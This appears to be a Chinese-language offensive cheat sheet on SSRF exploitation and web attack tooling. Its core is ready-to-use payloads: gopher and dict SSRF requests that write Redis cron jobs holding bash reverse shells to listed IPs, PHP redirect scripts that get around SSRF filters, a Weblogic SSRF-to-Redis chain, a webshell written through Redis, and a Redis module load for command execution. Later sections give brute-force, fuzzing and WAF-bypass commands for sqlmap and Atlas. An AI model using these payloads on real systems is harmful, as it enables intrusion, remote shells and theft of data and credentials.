>curl -v 'http://192.168.0.112/ssrf.php?url=gopher://192.168.0.120:6379/_*1%250d%250a%248%250d%250aflushall%250d%250a%2a3%250d%250a%243%250d%250aset%250d%250a%241%250d%250a1%250d%250a%2464%250d%250a%250d%250a%250a%250a%2a%2f1%20%2a%20%2a%20%2a%20%2a%20bash%20-i%20%3E%26%20%2fdev%2ftcp%2f192.168.0.108%2f12345%200%3E%261%250a%250a%250a%250a%250a%250d%250a%250d%250a%250d%250a%2a4%250d%250a%246%250d%250aconfig%250d%250a%243%250d%250aset%250d%250a%243%250d%250adir%250d%250a%2416%250d%250a%2fvar%2fspool%2fcron%2f%250d%250a%2a4%250d%250a%246%250d%250aconfig%250d%250a%243%250d%250aset%250d%250a%2410%250d%250adbfilename%250d%250a%244%250d%250aroot%250d%250a%2a1%250d%250a%244%250d%250asave%250d%250aquit%250d%250a'
302壳
?url=http://xxxx/302.php?s=dict&ip=10.20.*.*&port=6379&data=flushall 302.php <?php $ip = $_GET['ip']; $port = $_GET['port']; $scheme = $_GET['s']; $data = $_GET['data']; header("Location: $scheme://$ip:$port/$data"); ?> ?url=http://xxxx/reverse.php?s=dict&ip=10.20.*.*&port=6379&bhost=*.*.*.*&bport=1234 reverse.php <?php $ip = $_GET['ip']; $port = $_GET['port']; $bhost = $_GET['bhost']; $bport = $_GET['bport']; $scheme = $_GET['s']; header("Location: $scheme://$ip:$port/set:0:\"\\x0a\\x0a*/1\\x20*\\x20*\\x20*\\x20*\\x20/bin/bash\\x20-i\\x20>\\x26\\x20/dev/tcp/{$bhost}/{$bport}\\x200>\\x261\\x0a\\x0a\\x0a\""); ?> ?url=http://xxxx/302.php?s=dict&ip=10.20.*.*&port=6379&data=config:set:dir:/var/spool/cron/ ?url=http://xxxx/302.php?s=dict&ip=10.20.*.*&port=6379&data=config:set:dbfilename:root ?url=http://xxxx/302.php?s=dict&ip=10.20.*.*&port=6379&data=save 可设置burp–>intruder指定变量跑。
mysql
https://github.com/FoolMitAh/mysql_gopher_attack https://fireshellsecurity.team/isitdtu-friss/
Weblogic SSRF+Redis
探测 /uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://127.0.0.1:80 Redis反弹 set 1 "\n\n\n\n* * * * * root bash -i >& /dev/tcp/121.36.67.230/4444 0>&1\n\n\n\n" config set dir /etc/ config set dbfilename crontab save /uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://192.168.0.110:6379/test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F121.36.67.230%2F4444%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa SSRF+内网Struct2 http://www.xx.com/ssrf.php?url=http://10.1.1.1/action?action?redirect:http://attackerip/
Ueditor SSRF
/editor/ueditor/php/controller.php?action=catchimage&source[]=http://my.ip/?aaa=1%26logo.png
Discuz
/forum.php?mod=ajax&action=downremoteimg&message=[img=1,1]http://b182oj.ceye.io/xx.jpg[/img]&formhash=xxoo
探测监测站
直接访问 http://www.xx.com/ssrf.php?url=http://192.168.0.1
伪造POST请求 >curl -v 'http://www.xx.com/ssrf.php?url=gopher://192.168.0.10:80/_POST%20/post.php%20HTTP/1.1%250d%250aHost:%20192.168.220.139%250d%250aUser-Agent:%20curl/7.42.0%250d%250aAccept:%20*/*%250d%250aContent-Type:%20application/x-www-form-urlencoded%250d%250a%250d%250acmd=bbbbb'
交替方法
本地绕过 http://127.0.0.1=http://localhost [::]绕过 http://[::]:80=http://127.0.0.1 @绕过 http://www.xx.com/1.php?url=http://www.xx.com@127.0.0.1:8080 利用短网址 http://tool.chinaz.com/tools/dwz.aspx http://dwz.cn/ DNS解析 http://www.qq.com.127.0.0.1.xip.io,可解析为127.0.0.1 自己域名设置A记录,指向127.0.0.1 进制转换 127.0.0.1 八进制:0177.0.0.1 十六进制:0x7f.0.0.1 十进制:2130706433 http://www.bejson.com/convert/ip2int/ 句号 127。0。0。1 302脚本 <?php $ip = $_GET['ip']; $port = $_GET['port']; $scheme = $_GET['s']; $data = $_GET['data']; header("Location: $scheme://$ip:$port/$data"); ?> 攻击方VPS监听8080 dict协议 dict://www.attack.com:8080/hello:dict等于 ssrf.php?url=http://attack.com/302.php?s=dict&ip=www.attack.com&port=8080&data=hello:dict Gopher协议 gopher:// www.attack.com:8080/gopher ssrf.php?url=http://attack.com/302.php?s=gopher&ip=www.attack.com&port=8080&data=gopher File协议 攻击机新建file.php <?php header("Location: file:///etc/passwd"); ?> ssrf.php?url=http://attack.com/file.php
gopher协议的脚本转换
抓取本地测试的正常请求 >socat -v tcp-listen:4444,fork tcp-connect:目标IP:6379
将捕获日志保存txt 使用脚本转换为支持gopher协议的字符串 转换规则 如果第一个字符是>或者< 那么丢弃该行字符串,表示请求和返回的时间。 如果前3个字符是+OK 那么丢弃该行字符串,表示返回的字符串。 将\r字符串替换成%0d%0a 空白行替换为%0a
本地可执行
远程执行需对空格进行编码后再url编码一次 *3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$63%0d%0a%0a%0a%0a*/1%20*%20*%20*%20*%20bash%20-i%20>&%20/dev/tcp/192.168.0.108/12138%200>&1%0a%0a%0a%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0a*1%0d%0a$4%0d%0aquit%0d%0a
协议
Curl版本需低于7.15.1 file:可回显时,使用file读取任意文件 dict:查看端口,操作内网服务 gopher:可发出get/post请求 使用gopher协议时,要进行两次url编码 http/https:探测存活主机
dict协议写shell
?url=dict://127.0.0.1:6379/set:x:<?php phpinfo();?> ?url=dict://127.0.0.1:6379/config:set:dir:/www/wwwroot/ ?url=dict://127.0.0.1:6379/config:set:dbfilename:php.php ?url=dict://127.0.0.1:6379/save Unicode编码 ?url=dict://127.0.0.1:6379/set:x:"\x3C\x3Fphp\x20echo `$_GET[x]`\x3B\x3F\x3E"
slaveof复制shell到目标
From:http://r3start.net/index.php/2020/05/09/683 你的redis设置一个shell的键 Yourredis>FLUSHALL Yourredis>set shell "<?php phpinfo();?>" ?url=dict://127.0.0.1:6379/slaveof:yourredisIP:6379 ?url=dict://127.0.0.1:6379/config:set:dir:/www/wwwroot/ ?url=dict://127.0.0.1:6379/config:set:dbfilename:test.php ?url=dict://127.0.0.1:6379/save ?url=dict://127.0.0.1:6379/slaveof:no:one
反弹的奴隶
?url=dict://127.0.0.1:6379/slaveof: yourredisIP:6379 ?url=dict://127.0.0.1:6379/config:set:dbfilename:exp.so ?url=dict://127.0.0.1:6379/MODULE:LOAD:./exp.so ?url=dict://127.0.0.1:6379/SLAVEOF:NO:ONE ?url=dict://127.0.0.1:6379/config:set:dbfilename:dump.rdb ?url=dict://127.0.0.1:6379/system.exec:'curl x.x.x.x/x' ?url=dict://127.0.0.1:6379/system.rev:x.x.x.x:8887
Fuzz/扫描网络
#dirb http://192.168.0.1 /root/asp.txt,/root/dir.txt -a "USER-AGENT" –c "Cookie" -z 100 #nikto -C all -h http://192.168.0.107 nikto扫描web服务 #wpscan --url http://192.168.0.107/ -e u --wordlist /root/wordlist.txt 枚举用户爆破密码 #wpscan --url http://192.168.0.107/ -e vp 扫描漏洞插件 #perl joomscan.pl --url 192.168.0.107
伍兹
爆破文件和文件夹 >wfuzz -w wordlist URL/FUZZ.php >wfuzz -w wordlist URL/FUZZ 枚举数字参数 >wfuzz -z range,000-999 -b session=session -b cookie=cookie http://127.0.0.1/getuser.php?uid=FUZZ POST账号密码爆破FUZnZ >wfuzz -w userList -w pwdList -d "username=FUZZ&password=FUZ2Z" http://127.0.0.1/login.php 随机HTTP头 >wfuzz -z range,0000-9999 -H "X-Forwarded-For: FUZZ" http://127.0.0.1/get.php?userid=666 使用代理fuzz >wfuzz -w wordlist -p 127.0.0.1:1087:SOCKS5 URL/FUZZ 基础认证爆破 >wfuzz -z list,"username-password" --basic FUZZ:FUZZ URL 【结果过滤】--hc或--ss不显示符合条件的结果。 【结果过滤】--sc或--sl或--sw或--sh显示符合条件的结果。
考尔
爬行网站存为字典 >cewl http://www.qq.com/ -w dict.txt 指定字典长度 >cewl http://www.qq.com/ -m 9 -w dict.txt 网站提取Email >cewl http://www.qq.com/ -n –e
目录搜索
>python3 dirsearch.py --random-user-agents --recursive --thread 50 --extension php --plain-text-report report.txt –url http://127.0.0.1
绕过WAF
SQL注入分块传输
https://github.com/c0ny1/chunked-coding-converter
跑注入点被拦截
使用分块传输,右键选择
使用SQLMAP跑注入
>python sqlmap.py -r 1.txt --batch --proxy=http://127.0.0.1:8080 --dbs
自动提供可用的篡改
https://github.com/m4ll0k/Atlas GET类型的注入 python atlas.py --url http://site.com/index/id/%%10%% --payload="-1234 AND 4321=4321-- AAAA" --random-agent -v POST类型的注入 python atlas.py --url http://site.com/index/id/ -m POST -D 'test=%%10%%' --payload="-1234 AND 4321=4321-- AAAA" --random-agent -v 请求头注入 python atlas.py --url http://site.com/index/id/ -H 'User-Agent: mozilla/5.0%%inject%%' -H 'X-header: test' --payload="-1234 AND 4321=4321-- AAAA" --random-agent -v 组合tamper python atlas.py --url http://site.com/index/id/%%10%% --payload="-1234 AND 4321=4321-- AAAA" --concat "equaltolike,htmlencode" --random-agent -v 列出tamper python atlas.py -g 例子 注入 python sqlmap.py -u 'http://site.com/index.php?id=Price_ASC' --dbs --random-agent -v 3
可以看到被拦截了 查找能绕过的tamper python atlas.py --url 'http://site.com/index.php?id=Price_ASC' --payload="') AND 8716=4837 AND ('yajr'='yajr" --random-agent -v
根据返回码200得到一个可绕过waf的tamper versionedkeywords这个tamper